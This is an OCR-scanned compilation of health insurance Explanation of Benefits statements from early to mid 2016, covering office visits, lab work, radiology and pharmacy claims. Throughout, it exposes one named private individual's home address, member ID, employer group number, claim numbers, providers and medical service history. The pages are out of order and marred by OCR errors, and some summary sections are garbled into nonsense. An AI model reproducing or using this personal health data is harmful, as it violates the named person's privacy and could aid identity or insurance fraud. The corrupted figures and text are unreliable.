birth). Maintaining the privacy and security of individuals' personal infom,ation is very important to us at UnitedHealthcare. To protect your privacy, we implemented strict confidentiality practices. These practices include the ability to use a unique individual identifier. You may see the unique individual identifier on UnitedHealthcare correspondence, including medical ID cards (if applicable), letters, explanation of benefits (EOBs), and provider remittance advices (PRAs). If you have any questions about the unique individual identifier or its use, please contact your customer care professional at the number shown at the top of this Statement. Please call the number included in this document or on the back of your ID card if you need diagnosis and/or treatment code infom,ation regarding the services referenced in this communication. STD-EOB Page 3 of 4 Use this EOB statement as a reference or retain as needed S V1-10304"01 '05032~-M0-16004-60311-AFUS 22SYCP United HealthCare Services.,_Inc. GREENSBORO SERVICE vENTER January 04, 2016 PO BOX 7 40809 ATLANTA.,_ GA 30374-0802 Have more questions about your claim? Phone: 1-o00-638-8884 Visit www.myuhc.com for all your claim and benefit infonnation. Claim Detail for JEFFREY DAMUKAITIS Provider: P FLAVILL Claim Number: 575652893401 Patient Account Number: 002299-35828 I Your Itemized Res onsibilit to Provider"* Date(s) of Type of Service Notes* Amount Plan Amount You YciirPian Service Billed (-) Discounts (-) 1# Paid , (=) Deductible (+) Copay [+) Coinsurance ("'") Non Covered (=) Owe 12/22/2015 OFFICE VISITS D1 $300.00 $143.32 $156.68 $0.00 $0.00 $0.00 $0.00 Claim Total: $300.00 $143.32 $156.68 $0.00 $0.00 $0.00 $0.00 **This total does not reflect any payments / copays you made at the time of service. Please wait for a provider bill before making a payment. Notes* 01 -THE DISCOUNT SHOWN IS YOUR SAVINGS. YOUR NElWORK PHYSICIAN OR HEALTH CARE PROVIDER HAS AGREED TO THE PLAN DISCOUNT. THE AMOUNT YOU O\NE MAY INCLUDE WHAT YOU NEED TO PAY IF YOU HAVE REACHED A BENEFIT LIMIT ON COVERED HEALTH SERVICES. IF YOU NEED MORE INFORMATION ABOUT YOUR BENEFITS, PLEASE GO TO YOUR MEMBER \NEBSITE OR PLAN DOCUMENTS. A review of this benefit detennination may be requested by submitting your appeal to us in writing at the following address: UnitedHealthcare Appeals, P.O. Box 30432, Salt Lake City, UT 84130-0432. The request for your review must be made within 180 days from the date you receive this statement. If you request a review of your claim denial, we will complete our review no later than 30 days after we receive your request for review. If your plan is governed by ERISA, you may have the right to file a civil action under ERISA if all required reviews of your claim have been completed. You or your authorized representative, such as a family member or physician, may appeal the decision by submitting comments, documents or other relevant infonnation to the appeal address referenced above. You may request copies (free of charge) of infonnation relevant to your claim by contacting us at the above address. Availability of Consumer Assistance/Ombudsman Services: There may be other resources available to help you understand the appeals process. If your plan is governed by ERISA, you can contact the Employee Benefits Security Administration at 1-866-444-EBSA (3272). If your plan is not governed by ERISA, you can contact the Department of Health and Human Services Health Insurance Assistance Team at 1-888-393-2789. Your state consumer assistance program may also be able to assist you at: Texas Department of Insurance Consumer Protection (111-1A) 333 Guadalupe STD-EOB Page 2 of 4 Use this EOB statement as a reference or retain as needed 000000871702921 I S V1-10304l01'0503Zl0 M0-16004-60311-AFUS 22SYCP , UnitedHealthcare United HealthCare Services, Inc. .~ A'lh11l1-Gr,...Canpa,y GREENSBORO SERVICE CENTER PO BOX 740809 ATLANTA, GA 30374-0802 Have more questions about your claim? Visit www.myuhc.com for all your claim and benefit information. 004MEOBSV2002007•03727·08 January 04, 2016 JEFFREY DAMUKAITIS Member/Patient lnfonnation 2201 WILLOW CREEK DRIVE Member/Patient: JEFFREY DAMUKAITIS LITTLE ELM, TX 75068 Member ID: A838199653 Relationship: EE Group Name: RAYTHEON COMPANY Group #: 0201057 Explanation of Benefits Statement This is not a bill. Do not pay. This.is to notify you that we processed your claim. Claims SummJry Detailed claim information is located oh the following page(s). Dollar Amount Description :­ t' ' ~ount .Billed -. ···, ·; ::.,, ; $300.00 This is the'.total ar,n·ount that your provider billed fQr the' seNices that w~re pro~ed to Y<,)U. .. I:" J,!,­ $1·56.68 This is the por1ion of the amount billed that was paid by your plan. •··.•. STO,EOB Page 1 of 4 Use this EOB statement as a reference 9r retain as needed 000000871702921 S WH-09713"03"'047548-M0-16053-60311-AFUS ;2SYMS UnitedHealthcareI AL.Wmlmllh lm4'~ United HealthCare Services,._ Inc. GREENSBORO SERVICE "ENTER PO BOX 740809 February 22, 2016 ATLANTA, GA 30374-0802 Phone: 1-o00-638-8884 Have more questions about your claim? Visit www.myuhc.com for all your claim and benefit infon11ation. Definitions of Key Terms Deductible: The deductible is the f,xed dollar amount that you pay each year toward eligible health care services before your plan benefits are payable. Once the deductible has been met, the co-payment and/or coinsurance period of your plan may begin. Please refer to your plan documents for specific information regarding what services apply to the deductible. Plan Year. The dates your plan benefit maximums are applicable. Out of Pocket This is the amount you pay before your plan benef~ starts paying 100% for eligible health care services. Please refer to your plan documents for more information. STD-EOB Use this EOB statement as a reference or retain as needed Page 6 of 6 000000911825109 S WH-09713'03'0.7547-M0-16053-60311-AFUS 22SYMS UnitedHealthcare .m~-0...,Cciow-, United HealthCare Services .... Inc. February 22, 2016 GREENSBORO SERVICE vENTER PO BOX 7 40809 ATLANTA.,. GA 30374-0802 Have more questions about your claim? Phone: 1-o00-638-8884 Visit www.myuhc.com for all your claim and benefit information. Maintaining the privacy and security of individuals' personal information is very important to us at United Healthcare. To protect your privacy, we implemented strict confidentiality practices. These practices include the ability to use a unique individual identifier. You may see the unique individual identifier on UnitedHealthcare correspondence, including medical ID cards (if applicable), letters, explanation of benefits (EOBs), and provider remittance advices (PRAs). If you have any questions about the unique individual identifier or its use, please contact your customer care professional at the number shown at the top of this Statement. Please call the number induded in this document or on the back of your ID card if you need diagnosis and/or treatment code information regarding the services referenced in this communication. Account Summary Summary of Deductible and Out of Pocket Plan Year: 2016 JEFFREY Annual Amount (-)Applied to Date (=)Remaining Balance FAMILY Annual Amount (-)Applied to Date (=)Remaining Balance Relationship: EE INNETWORK ' ' IN NETWORK Deductible $1,400.00 $700.00 $700.00 Deductible $700.00 $700.00 Met Out of eo.cke. $10,000.00 $2,129.99 $7,870.01 Out of Pocket $5,000.00 $2,129.99 $2,870.01 OUT OF NETWORK OUT OF NETWORK Deductible $2,800.00 $0.00 $2,800.00 Deductible $1,400.00 $413.00 $987.00 Out of Pocket $15,000.00 $0.00 $15,000.00 Out of Pocket $7,500.00 $0.00 $7,500.00 Definitions of Key Terms Applied to Date: The total amount of money applied to your deductible or out of pock.et as of Coinsurance: The money you pay for health services after you have satisfied the deductible. this EOB statement STD-EOB Page 5 of 6 Use this EOB statement as a reference or retain as needed 000000911825109 S 'NH-09713-02"047546-M0-16053-60311-AFUS 22SYMS Unit.edHealthcare IJll A~9tl(I~ United HealthCare Services,.. Inc. GREENSBORO SERVICE 1..,ENTER PO BOX 740809 February 22, 2016 ATLANTA.,, GA 30374-0802 Phone: 1-o00-638-8884 Have more questions about your claim? Visit www.myuhc.com for all your claim and benefit information. Lake City, UT 84130-0432. The request for your review must be made within 180 days from the date you receive this statement. If you request a review of your claim denial, we will complete our review no later than 30 days after we receive your request for review. If your plan is governed by ERISA, you may have the right to file a civil action under ERISA if all required reviews of your claim have been completed. You or your authorized representative, such as a family member or physician, may appeal the decision by submitting comments, documents or other relevant information to the appeal address referenced above. You may request copies (free of charge) of information relevant to your claim by contacting us at the above address. Availability of Consumer Assistance/Ombudsman Services: There may be other resources available to help you understand the appeals process. If your plan is governed by ERISA, you can contact the Employee Benefits Security Administration at 1-866-444-EBSA (3272). If your plan is not governed by ERISA, you can contact the Department of Health and Human Services Health Insurance Assistance Team at 1-888-393-2789. Your state consumer assistance program may also be able to assist you at: Texas Department of Insurance Consumer Protection (111-1A) 333 Guadalupe P.O. Box 149104 Austin, TX 78714 Toll-free telephone: 1-800-252-3439 Web site: www.texashealthoptions.com E-mail: [email protected] If we continue to deny the payment, coverage, or service requested or you do not receive a timely decision, you may be able to request an external review of your claim by an independent third party, who will review the denial and issue a final decision. Insurance fraud adds millions to the cost of health care. If services are listed which you did not receive or service you were told would be free, call 1-800-638-8884. Meet Your Needs Online At almost anytime day or night, you can review claims, check eligibility, locate a networ1< physician, request an ID card, refill prescriptions if eligible, obtain more information on EOB content and more! For immediate, secure self-service visit www.myuhc.com. Myuhc Registration You can register and begin using myuhc in the same session. Navigate to www.myuhc.com to register. The information required for registration is on your insurance ID card (first name, last name, member ID, group number and date of birth). STD-EOB Use this EOB statement as a reference or retain as needed Page 4 of 6 000000911625109 S WH-09713'02"047545-M0-1fl053.ax311-AFUS 22SYMS UnitedHealthcare United HealthCare Services.,_Inc. GREENSBORO SERVICE vENTER f)J ·--~ February 22, 2016 PO BOX 740809 ATLANTA.,.GA 30374-0802 Phone: 1-o00-638-8884 Have more questions about your claim? Visit www.myuhc.com for all your claim and benefit information. Claim Detail for JEFFREY DAMUKAITIS Patient Account Number: 001500736062 Provider: K ZIESER Claim Number: 583269698501 Your Itemized Res onsibili to Provider** Amount You Date(s) of Type of Service Notes* Amount Plan Your Plan Service Billed (-) Discounts (-) Paid •,: (=) Deductible (+) Copay (+) Coinsurance (+) Non Covered(~) Owe , I I I . I 11 , ; 1'• 02/10/2016 OFFJCE VISITS D1 $138.00 $54.79 $74.89 Claim Total: $138.00 $54.79 $74.89 **This total does not reflect any payments / copays you made at the time of service. Please wait for a provider bill before making a payment Claim Detail for JEFFREY DAMUKAITIS Provider: K ZIESER Claim Number: 583269698502 Patient Account Number: 001500736062 Your Itemized Res onsibility to Provider•• Amount You Oate(s) of Type of Service Notes Amoun -Plan our Pan Service Billed (-) Discounts (-) Paid Deductible (+) Copay (..-) Coinsurance (+) Non Covered (=) Owe 02/10/2016 DIAGNOSTIC 01 $35.00 $6.38 $28.62 SERVICES $35.00 $6.38 $28.62 $0.00 $0.00 $0.00 $0.00 $0.00 Claim Total: **This total does not reflect any payments/ copays you made at the time of service. Please wait for a provider bill before making a payment. Notes* D1 -THE DISCOUNT SHOW\J IS YOUR SAVINGS. YOUR NETWORK PHYSICIAN OR HEALTH CARE PROVIDER HAS AGREED TO THE PLAN DISCOUNT. THE AMOUNT YOU OWE MAY INCLUDE WHAT YOU NEED TO PAY IF YOU HAVE REACHED A BENEFIT LIMIT ON COVERED HEALTH SERVICES. IF YOU NEED MORE INFORMATION ABOUT YOUR BENEFITS, PLEASE GO TO YOUR MEMBER WEBSITE OR PLAN DOCUMENTS. XS -AN INCORRECT OR INAPPROPRIATE PRIMARY DIAGNOSIS CODE WAS USED. A review of this benefit determination may be requested by submitting your appeal to us in writing at the following address: UnitedHealthcare Appeals, P.O. Box 30432, Salt STD-EOB Page 3 of 6 Use this EOB statement as a reference or retain as needed SWH-09713'01'047544-M0-16053-60311-AFUS 22SYMS United HealthCare Services;,. Inc. GREENSBORO SERVICE vENTER February 22, 2016 PO BOX 740809 ATLANTA.,, GA 30374-0802 Have more questions about your claim? Phone: 1-o00-638-8884 Visit www.myuhc.com for all your claim and benefit information. Claim Detail for JEFFREY DAMUKAITIS Provider: TEXAS RADIOLOGY Claim Number: 582196608001 Patient Account Number: Z23X3I5 Your Itemized Res onsibllit to Provider"* Date(s} of Type of Service Notes* Amount Plan Your Plan ' Amount You Service Billed (-) Discounts (-) Paid ,;(=) Deductible (+) Copay (+) Coinsurance (+) Non Covered (~) Owe ,i 01/27/2016 DIAGNOSTIC D1 $150.00 $49.67 $56.20 $37.89 $0.00 $6.24 $0.00 SERVICES Claim Total: $150.00 $49.67 $56.20 $37.89 $0.00 $6.24 $0.00 **This total does not reflect any payments / copays you made at the time of service. Please wait for a provider bill before making a payment Claim Detail for JEFFREY DAMUKAITIS Provider: CLINICAL PATHOLOGY Claim Number: 583256184501 Patient Account Number: 4-WP897 4 79-0 Your Itemized Res onsibilit to Provider"* Date(s) of Type of Service Notes* Amount Plan Your Plan Amou11t You Service Billed (-) Discounts (-) . Paid Deductible (+) Copay (+} Coinsurance (+) Non Covered(=) Owe 02/04/2016 LABORATORY XS $78.25 $78.25 $0.00 SERVICES 02/04/2016 LABORATORY XS $336.50 $336.50 $0.00 $0.00 $0.00 $0.00 $0.00 $0.0 SERVICES 02/04/2016 LABORATORY XS $140.25 $140.25 $0.00 $0.00 $0.00 $0.00 $0.00 $0.0 SERVICES 02/04/2016 LABORATORY XS $131.50 $131.50 $0.00 $0.00 $0.00 $0.00 $0.00 $0.0 SERVICES 02/04/2016 LABORATORY XS $15.20 $15.20 $0.00 $0.00 $0.00 $0.00 $0.00 $0.0 SERVICES 02/04/2016 LABORATORY XS $28.05 $28.05 $0.00 $0.00 $0.00 $0.00 $0.00 $0.0 SERVICES Claim Total: $729.75 $729.75 $0.00 $0.00 $0.00 $0.00 $0.00 $0.00 **This total does not reflect any payments/ copays you made at the time of service. Please wait for a provider bill before making a payment. STO-EOB 000000911825109 Use this EOB statement as a reference or retain as needed Page 2 of 6 S WH-09713-01'047S43•M0·16053·60311·AFUS 22SYMS United HealthCare Services,.i. Inc. GREENSBORO SERVICE 1.,ENTER PO BOX 740809 ATLANTA, GA 30374-0802 Have more questions about your claim? Visit www.myuhc.com for all your claim and benefit information. February 22, 2016 JEFFREY DAMUKAITIS Member/Patient Information 2201 WILLOW CREEK DRIVE Member/Patient: JEFFREY DAMUKAITIS LITTLE ELM, TX 75068 Member ID: A838199653 Relationship: EE Group Name: RAYTHEON COMPANY Group#: 0201057 Explanation of Benefits] Statement This is not a bill. Do not pay. This is to notify you that we processed your claim. I Claims Summary Detailed claim information is located! on the following page(s). 0 ~ .. ,. -1a. , ,, • • ·,. Amount Billed :.-= .::.-~·,••,. ..,, --~ : ~ _ 'eJ -··· . if "' .:. _L , $1.052.75 . This is the to,ta! amountthat your provider bilef for the services that were provided to~· ~ :!':· ~ , 1 . . .. ·• ·,i Plan Qiscounts ' . ~ I ·;:~c•' . :: "· ,.: ~-~ ·=·p.;,~, ·:'. =~• ,_ $840~59 '(our pl~n negoU~t~ dls9()llnts with providers to save you money. This1arQount may also includ~ • . ',~· ', ;...·, !' =~ s~rvi.ces th~t yo~,are not responsibleJo pay. !A..: s:•t·,,2-: . T .,, , · ,, <+. ~· ~ ;, · ·, . · -~= · Your Plan Paid . , . I . , • · 't _ ;i l\ ':. 1 ,;f $1~9.71 ' This is the p_ortion ~f ttle amount·bil~ed that wa~ paid by xaur plan.·· ·,.t·,;:=·r: ·.: t,,. ·';',: STD-EOB Page 1 of 6 Use this EOB statement as a reference or retain as needed OOOCXXl9118:15109 S WB-16432"02"078CMO-M0-16147-60311-AFUS 22SYMS UnitedHealthcare 111"" ·-°""°"'1>-'I' United HealthCare Services;,. Inc. GREENSBORO SERVICE 1.,ENTER May 26, 2016 PO BOX 740809 ATLANTA.i. GA 30374-0802 Have more questions about your claim? Phone: 1-o00-638-8884 Visit www.myuhc.com for all your claim and benefit information. Account Summary Summary of Deductible and Out of Pocket Plan Year: 2016 JEFFREY Annual Amount (-)Applied to Date (=)Remaining Balance Relationship: EE .. IN NE~bRK .._.. , . ' ." Deductible $700.00 $700.0Q ~et $5,000.00 $5,000.00 Met Out of Pocket OUT OF NETWORK ­ $1,400.00 $577.00 $823.00 Deductible Out of Pocket $7,500.00 $0.00 $7,500.00 Definitions of Key Terms Applied to Date: The total amount of money applied to your deductible or out of pocket as of this EOB statement. Out of Pocket This is the amount you pay before your plan benefit starts paying 100% for eligible health care services. Please refer to your plan documents for more information. Annual (-)Applied to (=)Remaining FAMILY Amount Date Balance IN NETWORK 'I l I Deductible $1,400.00 $700.00 $700.00 Out of Pocket $10,000.00 $5,000.00 $5,000.00 gutdi= NETWORK Deductible $2,800.00 $0.00 $2,800.00 Out of Pocket $15,000.00 $0.00 $15,000.00 Deductible: The deductible is the fixed dollar amount that you pay each year toward eligible health care services before your plan benefits are payable. Once the deductible has been met, the co-payment and/or coinsurance period of your plan may begin. Please refer to your plan documents for specific information regarding what services apply to the deductible. Plan Year: The dates your plan benefit maximums are applicable. STD-EOB Use this EOB statement as a reference or retain as needed Page 4 of 4 000000987614444 SWB-16432'02'078039-M0-16147-00311-f>F-US 22SYMS ,m UnitedHealthcare fJII Al»l-lil<&c>""'­ United HealthCare Services.i.Inc. May 26, 2016 GREENSBORO SERVICE vENTER PO BOX 740809 ATLANTA.a. GA 30374-0802 Have more questions about your claim? Phone: 1-o0Q..638-8884 Visit www.myuhc.com for all your claim and benefit information. P.O. Box 149091 Austin, TX 78714 Toll-free telephone: 1-800-252-3439 Web site: www.texashealthoptions.com E-mail: [email protected] If we continue to deny the payment, coverage, or service requested or you do not receive a timely decision, you may be able to request an external review of your claim by an independent third party, who will review the denial and issue a final decision. Insurance fraud adds millions to the cost of health care. If services are listed which you did not receive or service you were told would be free, call 1-800-638-8884. Meet Your Needs Online At almost anytime day or night, you can review claims, check eligibility, locate a networi<: physician, request an ID card, refill prescriptions if eligible, obtain more information on EOB content and more! For immediate, secure self-service visit www.myuhc.com. Myuhc Registration You can register and begin using myuhc in the same session. Navigate to www.myuhc.com to register. The information required for registration is on your insurance ID card_ {first name, last name, member ID, group number and date of birth)._ -------------­ --------~-·---· -------·--· Maintaining the privacy and security of individuals' personal infom1ation is very important to us at UnitedHealthcare. To protect your privacy, we implemented strict confidentiality practices. These practices include the ability to use a unique individual identifier. You may see the unique individual identifier on UnitedHealthcare correspondence, including medical ID cards {if applicable), letters, explanation of benefits {EOBs), and provider remittance advices {PRAs). If you have any questions about the unique individual identifier or its use, please contact your customer care professional at the number shown at the top of this Statement. Please call the number included in this document or on the back of your lD card if you need diagnosis and/or treatment code information regarding the services referenced in this communication. STD-EOB Page 3 of 4 Use this EOB statement as a reference or retain as needed SWB-HM32"011178038-M0-16147-80311-AFUS 22SYMS United HealthCare Services;. Inc. GREENSBORO SERVICE ,.;ENTER May 26, 2016 PO BOX 740809 ATLANTA.,, GA 30374-0802 Have more questions about your claim? Phone: 1-o00-638-8884 Visit www.myuhc.com for all your claim and benefit infonnation. Claim Detail for JEFFREY DAMUKAITIS Provider: S GALLAWAY Claim Number: 598075704401 Patient Account Number: 21750868 Your Itemized Res onsibilit to Provider"* Date(s) of Type of Service Notes• Amount Plan I Your Plan ' Amou nt You Service Billed (-) Discounts (-) Pai.d '.(=) lJeductible (+) Copay (+) Coinsurance (+) Non Covered (=) Owe ,. i ' 05/13/2016 OFFICE VISITS D1 $105.00 $35.31 $69.69 Claim Total: $105.00 $35,31 $69.69 Please wait for a provider bill before making a payment. Notes* 01 -THE DISCOUNT SHOWN IS YOUR SAVINGS. YOUR NETWORK PHYSICIAN OR HEALTH CARE PROVIDER HAS AGREED TO THE PL.AN DISCOUNT. THE AMOUNT YOU OWE MAY INCLUDE WHAT YOU NEED TO PAY IF YOU HAVE REACHED A BENEFIT LIMIT ON COVERED HEALTH SERVICES. IF YOU NEED MORE INFORMATION ABOUT YOUR BENEFITS, PLEASE GO TO YOUR MEMBER WEBSITE OR PLAN DOCUMENTS. A review of this benefit detennination may be requested by submitting your appeal to us in writing at the following address: UnitedHealthcare Appeals, P.O. Box 30432, Salt Lake City, UT 84130-0432. The request for your review must be made within 180 days from the date you receive this statement. If you request a review of your claim denial, we will complete our review no later than 30 days after we receive your request for review. lf your plan is governed by ERISA, you may have the right to file a civil action under ERISA if all required reviews of your claim have been completed. You or your authorized representative, such as a family member or physician, may appeal the decision by submitting comments, documents or other relevant information to the appeal address referenced above. You may request copies (free of charge) of information relevant to your claim by contacting us at the above address. Availability of Consumer Assistance/Ombudsman Services: There may be other resources available to help you understand the appeals process. Jf your plan is governed by ERISA, you can contact the Employee Benefits Security Administration at 1-866-444-EBSA (3272). If your plan is not governed by ERISA, you can contact the Department of Health and Human Services Health Insurance Assistance Team at 1-888-393-2789. Your state consumer assistance program may also be able to assist you at: Texas Department of Insurance Consumer Protection (111-1A) 333 Guadalupe STD-EOB Use this EOB statement as a reference or retain as needed Page 2 of 4 000000987614444 S B-16432'01'078037-M0-1614Hl0311-N'US 22SYMS UnitedHealthcar~Ill) AUlildlM!h ~~Con,,any United HealthCare Services.I. Inc. GREENSBORO SERVICE LENTER PO BOX 740809 ATLANTA, GA 30374-0802 Have more questions about your claim? Visit www.myuhc.com for all your claim and benefit information. May 26, 2016 JEFFREY DAMUKAITIS Mem her/Patient I nfonnati on 2201 WILLOW CREEK DRIVE Member/Patient: JEFFREY DAMUKAITIS LITTLE ELM, TX 75068 Member 1D: A838199653 Relationship: EE Group Name: RAYTHEON COMPANY Group #: 0201057 E>tplanation of Benefitslstatement This is not a bill. Do not pay. This is to notify you that we processed your claim. I Claims Summary Detailed claim information is located! on the following page(s). Dollar Amount Description Amount Billed , . -~ . . . I · . · · -· ··· $105.00 This is the total amount that your provider biU1 for the services thatiwere provid~1to you. /'· / '' 1 •, 1 Plan Discounts , · 1 . _ ": . 1 , ' • • " . r.. • (t $35.31 Your plan negotiates discounts with providers tb save you money. This artiotint may also include ... ·" ~•· _,. ;ii , se~ices that you are not responsi~le to pay. I ···: . ,., ··, , ' . , .~;' Your Plan Paid . , . I . ,; •ot, ., =,;-. :1'-'. •· ,~,. · ,;"? ,;f ,,. •{i: $69.69 Thislstheportionoftheamount'b1Hedthatwas paidbyyourplan. !. ·--~:" 1 . . -To.tal amount you owe the provider(s)--, .,. ~ ,.._ --= . _ _ __,.. The portio.n of.the Ar.nouot Billed.you owe.theep~vider(s) . .,, This amount_does not-_refle.ct arfYzri-:r:rr-;,,-,,,.. ·. payment you ma)'_,.have.alr:eady made at thejime ygu rec~ivect~re·. Ibis _,ll}Ount may.in9lude your;_ deductible,. arpay, coinsurance and/or non COV_f 1 fe9 cha,rges .. ~Thls al]lQ_1,rnt d.9~s,.noJ i!}p!Y9,e1,tny -~ • ,~,;;,;;;_, :.-.-~:!' ....:: paym~-nts made to Uie subscriber-, If a payment was made,di~cUyJo. the ~ ubsqjber, ~Wlh!,~ ~ *'.,:~--~i:.:_.;i-, '.'~.,: 1 :_:if.. •~bscriber is '7S~nsible for paying t~e ph)'.Sici'\n, facili~y-:or,other h~l~h ~e Prq!~~~~~ ~=~rr· . .,_..~-A-,.,:,~-''l'i· ~ · Wlen coordmatton of benefits applies, this arJ?ount will include payments mad~to. the subsq,b~ STD-EOB Page 1 of 4 Use this EOB statement as a reference or retain as needed 000000967614444 S V1-10303'02'050322-M0-16004-60311-AFUS 22SYCP United HealthCare Services;.. Inc. GREENSBORO SERVICE \,;ENTER January 04, 2016 PO BOX 7 40809 ATLANTA.,, GA 30374-0802 Have more questions about your claim? Phone: 1-o00-638-8884 Visit www.myuhc.com for all your claim and benefit information. Account Summary Summary of Deductible and Out of Pocket Plan Year: 2015 JEFFREY Annual Amount (-)Applied to Date (=)Remaining Balance Relationship: EE i I~t~; Deductible $70o.oo $700.00 Met Out of Pocket $5,000.00 $4,959.25 $40.75 'bi:JT:'OF NETWORK ~ ·.'ll .:r .., Deductible $1,400.00 $247.01 $1,152.99 Out of Pocket $7,soo.oo $247.01 $7,252.99 Definitions of Key Terms Applied to Date: The total amount of money applied to your deductible or out of pocket as of this EOB statement. Deductible: The deductible is the foced dollar amount that you pay each year toward eligible health care services before your plan benefits are payable. Once the deductible has been met, the co-payment and/or coinsurance period of your plan may begin. Please refer to your plan documents for specific information regarding what services apply to the deductible. Plan Vear: The dates your plan benefit maximums are applicable. FAMILY I1N NEJW.O~K Deductible Annual (-)AAmount Date $1,400.00 pplied to (=)R= " $700.00 emaining Balance . I $700.00 Out of Pocket $10,000.00 $4,967.50 $5,032.50 .QUJ QF :i'JETINORK ~1 Deductible $2,800.00 $247.01 $2,552.99 Out of Pocket $15,000.00 $247.01 $14,752.99 Copay: A fee you pay each time you see a provider, receive a service, or fill a prescription. Out of Pocket This is the amount you pay before your plan benefit starts paying 100% for eligible health care services. Please refer to your plan documents for more information. STD-EOB Use this EOB statement as a reference or retain as needed Page 4 of 4 00000087170 2917 S V1-10003'02"050321-M0-16004-8l311-AFUS 22SYCP Unit;ed.Healthcare 0 0 IJJA---... ;c United HealthCare Services A Inc. January 04, 2016 GREENSBORO SERVICE '-'ENTER PO BOX 740809 I ATLANTA.a. GA 30374-0802 Have more questions about your claim? ~ Phone: 1-o00-638-8884 Visit www.myuhc.com 0 g for all your claim and benefit infonnation. .... g .... .... Consumer Protection (111-1A) N ~ 333 Guadalupe P.O. Box 149104 Austin, TX 78714 Toll-free telephone: 1-800-252-3439 Web site: www.texashealthoptions.com E-mail: [email protected] If we continue to deny the payment, coverage, or seivice requested or you do not receive a timely decision, you may be abie to request an external review of your claim by an independent third party, who will review the denial and issue a final decision. Insurance fraud adds millions to the cost of health care. If services are listed which you did not receive or seivice you were told would be free, call 1-800-638-8884. Meet Your Needs Online At almost anytime day or night, you can review claims, check eligibility, locate a network physician, request an ID card, refill prescriptions if eligible, obtain more infonnation on EOB content and more! For immediate, secure self-service visit www.myuhc.com. Myuhc Registration ~----------------~­ _ _ You-can-register-and-begin-using-myuhc-in thesamesession. Navigate to www.myuhc.com to register. The infonnation required for registration is on your insurance ID card (first name, last name, member ID, group number and date of birth). Maintaining the privacy and security of individuals' personal information is very important to us at UnitedHealthcare. To protect your privacy, we implemented strict confidentiality practices. These practices include the ability to use a unique individual identifier. You may see the unique individual identifier on UnitedHealthcare correspondence, including medical ID cards (if applicable), letters, explanation of benefits (EOBs), and provider remittance advices (PRAs). If you have any questions about the unique individual identifier or its use, please contact your customer care professional at the number shown at the top of this Statement. Please call the number included in this document or on the back of your ID card if you need diagnosis and/or treatment code information regarding the services referenced in this communication. STD-EOB Page 3 of 4 Use this EOB statement as a reference or retain as needed S V1-10303'01'0503:10-M0-10004-60311-AFUS 22SYCP UnitedHealthcare ,A-Go.,,ra_,.. United HealthCare Services;. Inc. GREENSBORO SERVICE ljENTER January 04, 2016 PO BOX 740809 ATLANTA.,, GA 30374-0802 Have more questions about your claim? Phone: 1-o00-638-8884 Visit www.myuhc.com for all your claim and benefit information. Claim Detail for JEFFREY DAMUKAITIS Provider: Pharmacy Claim Number: 953077976101 Patient Account Number: CAR PHARMACY CLM Your Itemized Res onsibilit to Provider** Date(s) of Type of Service Notes* Amount Plan r YourPJin Amount You Service Billed (-) Discounts Paid ;(=) Deductible (+) Copay (+) Coinsurance (+) Non Covered (=) H . Owe $0.00 $1.00 $0.00 0.00 12/19/2015 PRESCRIPTION DRUGS FB $0.00 $0.00 $0.00 Claim Total: $0.00 $0.00 $0.00 $0.00 $1.00 $0.00 $0.00 -This total does not reflect any payments/ copays you made at the time of service. Please wait for a provider bill before making a payment. Notes* FB -THIS CLAIM WAS PROCESSED BY THE PHARMACY DRUG BENEFIT PROGRAM. THIS ONLY SHOWS THE AMOUNT YOU PAID FOR THIS PRESCRIPTION. IT DOES NOT SHOWTHE TOTAL COST OF THE PRESCRIPTION DRUG OR AMOUNT PAID BY THE PLAN. WE APPLIED THIS AMOUNT TO YOUR PLAN DEDUCTIBLE AND/OR OUT OF POCKET/COINSURANCE MAXIMUM. IF YOU HAVE QUESTIONS RELATED TO THIS PHARMACY CLAIM, PLEASE CONTACT YOUR PHARMACY DRUG BENEFIT PROGRAM. A review of this benefit determination may be requested by submitting your appeal to us in writing at the following address: UnitedHealthcare Appeals, P.O. Box 30432, Salt Lake City, UT 84130-0432. The request for your review must be made within 180 days from the date you receive this statement. If you request a review of your claim denial, we will complete our review no later than 30 days after we receive your request for review. If your plan is governed by ERISA, you may have the right to file a civil action under ERISA if all required reviews of your claim have been completed. You or your authorized representative, such as a family member or physician, may appeal the decision by submitting comments, documents or other relevant information to the appeal address referenced above. You may request copies (free of charge) of information relevant to your claim by contacting us at the above address. Availability of Consumer Assistance/Ombudsman Services: There may be other resources available to help you understand the appeals process. If your plan is governed by ERISA, you can contact the Employee Benefits Security Administration at 1-866-444-EBSA (3272). lf your plan is not governed by ERISA, you can contact the Department of Health and Human Services Health Insurance Assistance Team at 1-888-393-2789. Your state consumer assistance program may also be able to assist you at: ~ Texas Department of Insurance STD-EOB Use this EOB statement as a reference or retain as needed Page 2 of 4 ,I 000000871702917 ,I United HealthCare Services..,_ Inc. GREENSBORO SERVICE 1..,ENTEH PO BOX 7 40809 ATLANTA, GA 30374-0802 Have more questions about your claim? Visit www.myuhc.com for all your claim and benefit information. 004MEOBSV2002007-03727-06 January 04, 2016 JEFFREY DAMUKAITIS Member/Patient infonnatioQ 2201 WILLOW CREEK DRIVE Member/Patient: JEFFREY DAMUKAITIS LITTLE ELM, TX 75068 Member ID: A838199653 Relationship: EE Group Name: RAYTHEON COMPANY Group #: 0201057 Explanation of Benefits Statement This is not a bill. Do not pay. This is to notify you that we processed your claim. Claims Summary Detailed claim information is located 1on the following page(s). I -. pollar Amount .. Oescripti~n Amount Billed . . ' ' . : 'I • ,. • r ' I • • • , ·: $0.001 This is ~he total a~g~~ ~ that yo~r proy~ er ~\~~ .f?,r the servicr-, that;~7re_provid~ _t? '.~~; · · · .-. ' . ,' ;~1ariDlscoun~·1 i,,· ..-i-tl~~Nlr: >:•,,: , . t ,'1,{. •.~!f: ' ",i: ·,: tlf'~(:,, :/ , , ji ;i_i• .,,\.J; [! fl ;-:;1 , . , $0.00 :four:plan negotiates aiscd~nts wlth provi~ers· o save you·money~rt tiis ·amount may,als~ include I 'services that ·yo~ ar~Ji'.ol ~sponsible to pa\,. ' :~ ! ' . . . : I ;,_ • • .' • ': 'f It r!~'. ' j . • Your Plan Paid .'"• . , •-.. ,. ·, $0.00 This is the portion of lh7.amounl billed that waf paid by your·plan: ·.. . ... ~ -~ · :rotal amount-you _owe.the provider(s)-I ---""'" ·::. . -----.----=.i The portion of the'Amount Blfled.you.owe the-wovider(~).-This amount does.no.t refl~ct.any-_ -= P,ayme~l you may:b~~-alfe~Y made at the licpe yqu.receiv~,~re_-,T.his.amouot m~y_.,i~~lude ypur.­ deductlble, co~pay, .pon:isurance:and/or non covered charges._ Tbi~,.,amount do~sJ;iobnciude any '· •, p~yments mad.eJoJ.q~:s.ubscriber'". If a 